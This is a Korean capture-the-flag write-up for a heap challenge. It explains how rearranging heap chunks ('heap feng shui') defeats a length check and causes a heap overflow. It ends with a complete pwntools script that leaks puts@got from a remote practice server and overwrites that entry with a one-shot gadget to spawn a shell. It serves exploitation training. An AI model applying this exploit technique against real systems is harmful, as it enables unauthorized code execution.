Heap Feng Shui, 힙 풍수라고 읽고 Heap 영역에 할당된 Chunk 들의 Layout 을 조작해 exploit 하는 기법입니다.
풍수지리설 (400)
장소를 추가, 삭제, 업데이트 그리고 삭제할 수 있는 프로그램이다.
32bit 바이너리니까 ida32 로 열어보자.
main 함수에서 중요 기능은 3부분이다.
- description 의 size 를 입력받고 add_location 호출
- index 를 입력받고 delete_location 호출
- index 를 입력받고 update_desc 호출
그리고 cnt 변수가 0x32 가 되면 종료해버린다.
add_location
v3 은 0x80 만큼 할당받은 곳.
s 는 a1 만큼 할당받은 곳이다.
그리고 store[cnt]+4 에 0x7c 만큼 입력받는다. ( 오버플로우 발생 X )
마지막으로 update_desc 호출하고 cnt 증가
update_desc
store[a1] 이 존재하면, Text 길이를 입력받아, 조건에 맞으면
**(&store+a1) ( => 아까 s 가 할당된 주소 ) 에 v3+1 만큼 입력받는다.
비교문은 s, v3 이 순서대로 할당되어 s 의 주소 < v3 의 주소 일때,
s 의주소 + text 의 길이 < v3 의 주소 - 4 가 되어야 s 에 입력받는다.
하지만, 메모리를 해제한 후에 재할당 받아 Layout 이 바뀌면,
Heap Overflow가 발생한다.
s 와 v3 을 조작할 수 있으므로, update_desc, display_location 함수로
Arbitary Read/Write 가 가능하다.
Partical RELRO 이니,
free@got overwrite해서 "/bin/sh" 주소를 적은 뒤,
free( ~ ) -> system("/bin/sh") 를 호출하자.
할려고 했는데 chunk 를 overwrite해서 free 할 때 에러가 난다.
그래서 그냥 puts@got leak 한 뒤, oneshot으로 덮자
display_location
name 과 description 을 출력해준다. ( s, v3 )
delete_location
v3, s 순으로 free 시키고, 0으로 초기화해서 UAF 을 방지한다.
store[0] = malloc(0x80) -> malloc(10) + TEXT
store[1] = malloc(0x80) -> malloc(10) + TEXT
이렇게 할당하고, index 0 을 해제한 상태이다.
다시 10을 할당하면 순서대로 Layout이 배치되겠지만
0x80 을 할당받으면, s 에 store[0] 의 v3 이 재사용되고,
v3이 새로 할당되게 된다.
idx1 이 정상적인 레이아웃으로, 0x804c200+(textlen) < 0x804c210-4 범위에서 입력가능.
하지만 idx2 처럼 Heap Feng Shui 로 레이아웃을 조작하면,
0x804c170 + (textlen) < 0x804c2a0 범위에서 입력가능해, idx1 의 모든 chunk 를 덮을 수 있다.
시나리오
- Heap Feng Shui 로 레이아웃 맞추기
- Heap overflow 로 puts@got leak
- puts@got 을 oneshot 으로 덮어쓰기
- get flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
from pwn import *
r=remote("ctf.j0n9hyun.xyz" ,3028)
#r=process("./fengshui")
b=ELF("./fengshui")
#context.log_level='debug'
lib=ELF("./libc.so.6")
def add(s,n,l,t):
r.sendlineafter("Choice: ","0")
r.sendlineafter("description: ",str(s))
r.sendlineafter("Name: ",n)
r.sendlineafter("length: ",str(l))
r.sendlineafter("Text: ",t)
def delete(i):
r.sendlineafter("Choice: ","1")
r.sendlineafter("Index: ",str(i))
def update(i,l,t):
r.sendlineafter("Choice: ","3")
r.sendlineafter("Index: ",str(i))
r.sendlineafter("length: ",str(l))
r.sendlineafter("Text: ",t)
def display(i):
r.sendlineafter("Choice: ","2")
r.sendlineafter("Index: ",str(i))
oneshot=0x3ac5e
log.info(hex(oneshot))
add(0x10,"snwo",10,"snwo")
add(0x10,"snwo",10,"snwo")
delete(0)
pay=b"x"*0xa0
pay+=p32(b.got['puts'])
add(0x80,"snwo",0xb0,pay)
display(1)
r.recvuntil("Description: ")
base=u32(r.recv(4))-lib.sym['puts']
oneshot+=base
log.info(hex(base))
update(1,4,p32(oneshot))
r.interactive()
|
cs |
*store[1] 값까지거리는, 0xa0 이였고, puts 함수로 덮은 뒤,
display 로 출력하고, update 로 덮으면 된다.